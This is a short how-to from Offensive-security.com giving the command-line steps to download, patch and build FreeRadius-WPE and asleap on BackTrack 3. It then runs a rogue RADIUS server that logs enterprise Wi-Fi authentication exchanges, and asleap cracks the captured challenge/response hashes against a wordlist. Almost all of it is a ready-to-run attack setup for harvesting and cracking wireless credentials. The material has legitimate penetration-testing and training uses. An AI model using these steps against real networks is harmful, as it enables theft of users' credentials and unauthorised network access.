Howto:FreeRadius
From Offensive-security.com
Contents |
Instructions for Setting up and using FreeRadius-WPE in BT3B ONLY
1. Boot bt3dvd.iso
2. Download needed files:
freeradius-server-2.0.2.tar.bz2 MD5: bf2a9ef4d14b4f824a62a8e0afd9cfe5 freeradius-wpe-2.0.2.patch MD5: 6671917d602373d8010fe38de66377e4 asleap-2.2.tgz MD5: a1d06729fb2addcc5b09bfc14f9b3173
LOCATIONS: wget ftp://ftp.freeradius.org/pub/freeradius/freeradius-server-2.0.2.tar.bz2 wget http://www.willhackforsushi.com/code/freeradius-wpe/freeradius-wpe-2.0.2.patch wget http://www.willhackforsushi.com/code/asleap/2.2/asleap-2.2.tgz
NOTE: If FreeRadius-Server is down use this google search to find a valid mirror: http://www.google.com/search?q=freeradius-server-2.0.2.tar.bz2
3. Install:
Append wireless.h with #include <linux/if.h> as shown below:
nano /usr/include/linux/wireless.h #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H #include <linux/if.h> tar -xvjf freeradius-server-2.0.2.tar.bz2 cd freeradius-server-2.0.2 patch -p1 < ../freeradius-wpe-2.0.2.patch ./configure && make && make install && ldconfig
cd freeradius-server-2.0.2/raddb/certs ./bootstrap cp -r * /usr/local/etc/raddb/certs
tar -xvf asleap-2.2.tgz cd asleap-2.2 make cp -r asleap /usr/local/bin/ (OPTIONAL)
4. Configure Access Point with radius server IP & default secret word "test" quotes not included.
5. Run Server:
#For full output: radiusd -X -f
6. Read Logs:
tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
7. Recover Hashes
asleap -h asleap -W ASCIIWordlist.txt -C Challenge value in colon-delimited bytes -R Response value in colon-delimited bytes
